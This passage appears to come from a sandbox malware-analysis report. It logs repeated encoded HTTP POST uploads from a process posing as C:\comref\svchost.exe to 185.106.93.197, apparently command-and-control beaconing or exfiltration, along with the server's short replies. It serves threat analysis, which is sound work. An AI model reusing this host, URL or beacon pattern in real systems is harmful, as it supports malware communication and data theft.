                                                                      Aug 28, 2024 11:18:53.691170931 CEST2504OUTData Raw: 5b 51 5b 5b 58 5b 5c 56 5b 57 5a 59 52 5c 54 5c 54 59 5e 58 57 55 5a 5f 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [Q[[X[\V[WZYR\T\TY^XWUZ_\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!/"5+8 '2*/!8$T9;4($()6?"Y %X!
                                                                      Aug 28, 2024 11:18:53.957811117 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:54.084950924 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:53 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      112192.168.2.760219185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:54.211841106 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:54.566241980 CEST2512OUTData Raw: 5e 50 5b 58 5d 5d 59 56 5b 57 5a 59 52 5f 54 5d 54 51 5e 5d 57 54 5a 59 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^P[X]]YV[WZYR_T]TQ^]WTZY\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS","9?4_ X<&9,[ +4U-*W +8\0*X+)!/>+9"Y %X!/
                                                                      Aug 28, 2024 11:18:54.864512920 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:54.999809027 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:54 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      113192.168.2.760220185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:55.130105019 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      114192.168.2.760221185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:55.323436975 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 1844
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:55.675682068 CEST1844OUTData Raw: 5e 52 5e 58 5d 50 59 5a 5b 57 5a 59 52 5b 54 50 54 5d 5e 5d 57 50 5a 5d 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^R^X]PYZ[WZYR[TPT]^]WPZ]\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS";!9(;$]4>42*+"((.; ;0]&<Y<96Z"/9_("Y %X!
                                                                      Aug 28, 2024 11:18:55.965257883 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:56.092858076 CEST380INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:55 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Vary: Accept-Encoding
                                                                      Content-Length: 152
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 0d 1a 24 5d 34 2e 23 53 25 0d 38 1e 38 06 00 56 28 3f 20 58 3e 22 38 5c 27 3e 01 0f 26 3b 27 0f 27 28 28 19 33 0b 2a 05 27 03 30 0e 26 1c 2d 5f 06 11 25 08 23 06 35 59 2c 31 20 1e 29 2e 3b 00 22 2d 3b 5b 2a 23 2d 1f 35 3d 23 5f 3e 5a 3d 0d 2d 31 22 0d 3d 04 36 5d 2f 2d 23 09 31 2a 21 52 0c 17 22 52 2b 39 38 5d 21 28 36 1d 33 32 27 54 23 2f 3d 12 24 01 09 1c 24 14 24 56 2a 38 24 1f 32 3e 3b 0a 26 5d 22 01 33 3c 02 09 2e 13 2e 53 22 00 2d 48 0e 3d 54 4d
                                                                      Data Ascii: $]4.#S%88V(? X>"8\'>&;''((3*'0&-_%#5Y,1 ).;"-;[*#-5=#_>Z=-1"=6]/-#1*!R"R+98]!(632'T#/=$$$V*8$2>;&]"3<..S"-H=TM


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      115192.168.2.760222185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:55.442852020 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:55.800520897 CEST2512OUTData Raw: 5b 56 5e 54 5d 5c 5c 52 5b 57 5a 59 52 58 54 52 54 50 5e 5c 57 5e 5a 5e 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [V^T]\\R[WZYRXTRTP^\W^Z^\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!A.1:^+(4\7$^&, + S:]"4(?$*996,&*)"Y %X!3
                                                                      Aug 28, 2024 11:18:56.094362974 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:56.234388113 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:55 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      116192.168.2.760223185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:56.366115093 CEST391OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Aug 28, 2024 11:18:56.725182056 CEST2512OUTData Raw: 5b 57 5b 59 5d 5a 5c 50 5b 57 5a 59 52 55 54 56 54 5f 5e 5c 57 56 5a 5b 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [W[Y]Z\P[WZYRUTVT_^\WVZ[\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!;2<^8^ .;%4!+<-&R ;8&?2[<*Z6,<"Y %X!
                                                                      Aug 28, 2024 11:18:57.079466105 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:57.209625959 CEST151INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:56 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      117192.168.2.760224185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:57.334379911 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:57.691293955 CEST2512OUTData Raw: 5e 50 5b 5b 58 58 5c 51 5b 57 5a 59 52 5f 54 54 54 50 5e 5c 57 5f 5a 5a 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^P[[XX\Q[WZYR_TTTP^\W_ZZ\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS"8:[<($7>+2Z6]+,8"V ([',2(_&\",_+"Y %X!/
                                                                      Aug 28, 2024 11:18:58.047287941 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:58.176882982 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:57 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      118192.168.2.760225185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:58.303782940 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:58.661891937 CEST2512OUTData Raw: 5b 5b 5e 5f 58 5d 59 55 5b 57 5a 59 52 5e 54 55 54 5a 5e 5c 57 54 5a 5c 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [[^_X]YU[WZYR^TUTZ^\WTZ\\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS";".?+;4-<Y%<!.!#0&/)+\!,9*)"Y %X!+
                                                                      Aug 28, 2024 11:18:58.954695940 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:59.102139950 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:58 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      119192.168.2.760226185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:59.228321075 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:59.581717014 CEST2512OUTData Raw: 5b 50 5e 5f 5d 5b 59 52 5b 57 5a 59 52 5e 54 53 54 5e 5e 59 57 53 5a 5d 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [P^_][YR[WZYR^TST^^YWSZ]\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS";12?(<!>4% 5;92P4?3<&Y<_%!,&<9"Y %X!+
                                                                      Aug 28, 2024 11:18:59.882962942 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:19:00.014626026 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:59 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      120192.168.2.760227185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:19:00.152144909 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:19:00.503616095 CEST2512OUTData Raw: 5b 51 5e 5a 5d 5b 59 54 5b 57 5a 59 52 5e 54 50 54 5e 5e 5e 57 53 5a 5c 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [Q^Z][YT[WZYR^TPT^^^WSZ\\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!8<!><]1X6?.=4+0X'=?9!Z%+)"Y %X!+
                                                                      Aug 28, 2024 11:19:00.793792009 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:19:00.926074028 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:19:00 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      121192.168.2.760228185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:19:01.051176071 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      122192.168.2.760229185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:19:01.104720116 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 1832
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:19:01.456696987 CEST1832OUTData Raw: 5e 52 5b 58 5d 5e 5c 51 5b 57 5a 59 52 5c 54 56 54 50 5e 58 57 54 5a 55 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^R[X]^\Q[WZYR\TVTP^XWTZU\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!A;"1<(Y!= %:<":>V4+;&/*[?&"%?)"Y %X!+
                                                                      Aug 28, 2024 11:19:01.763748884 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:19:01.898411989 CEST380INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:19:01 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Vary: Accept-Encoding
                                                                      Content-Length: 152
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 0d 1a 24 59 20 13 2c 08 26 23 2f 02 38 06 26 1c 29 5a 28 1d 2b 21 30 15 33 07 3c 57 26 3b 34 12 27 28 2b 43 27 32 0f 1b 24 04 34 09 31 36 2d 5f 06 11 26 1d 37 38 35 5e 2d 32 06 55 3d 3e 2c 5b 36 00 27 5b 3e 33 00 0c 35 2e 3b 18 3e 02 29 0f 3b 08 31 1f 3d 03 3e 16 2f 2e 2c 14 25 2a 21 52 0c 17 22 18 2b 3a 3c 5b 34 28 26 55 27 0c 3c 0a 34 11 31 50 24 11 2f 51 33 2a 30 1e 28 3b 3c 52 25 00 20 55 26 38 3d 12 27 2f 20 0b 2d 13 2e 53 22 00 2d 48 0e 3d 54 4d
                                                                      Data Ascii: $Y ,&#/8&)Z(+!03<W&;4'(+C'2$416-_&785^-2U=>,[6'[>35.;>);1=>/.,%*!R"+:<[4(&U'<41P$/Q3*0(;<R% U&8='/ -.S"-H=TM


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      123192.168.2.760230185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:19:01.227267027 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:19:01.581741095 CEST2512OUTData Raw: 5b 53 5e 5c 5d 5b 5c 56 5b 57 5a 59 52 5d 54 5c 54 5c 5e 5c 57 51 5a 5e 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [S^\][\V[WZYR]T\T\^\WQZ^\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!/"!(8/#>$Y&,6(,+. 8/'<5?9:Z"Z)Z+)"Y %X!'
                                                                      Aug 28, 2024 11:19:01.925944090 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:19:02.058721066 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:19:01 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      124192.168.2.760231185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:19:02.181706905 CEST391OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2504
                                                                      Expect: 100-continue
                                                                      Aug 28, 2024 11:19:02.534918070 CEST2504OUTData Raw: 5b 56 5e 5d 5d 5f 5c 52 5b 57 5a 59 52 5c 54 52 54 50 5e 5c 57 55 5a 5a 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [V^]]_\R[WZYR\TRTP^\WUZZ\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!,!6<( <Y1_!88V9+&#([0Z*(9*6?9?)"Y %X!;
                                                                      Aug 28, 2024 11:19:02.829479933 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:19:02.960519075 CEST151INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:19:02 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      125192.168.2.760232185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
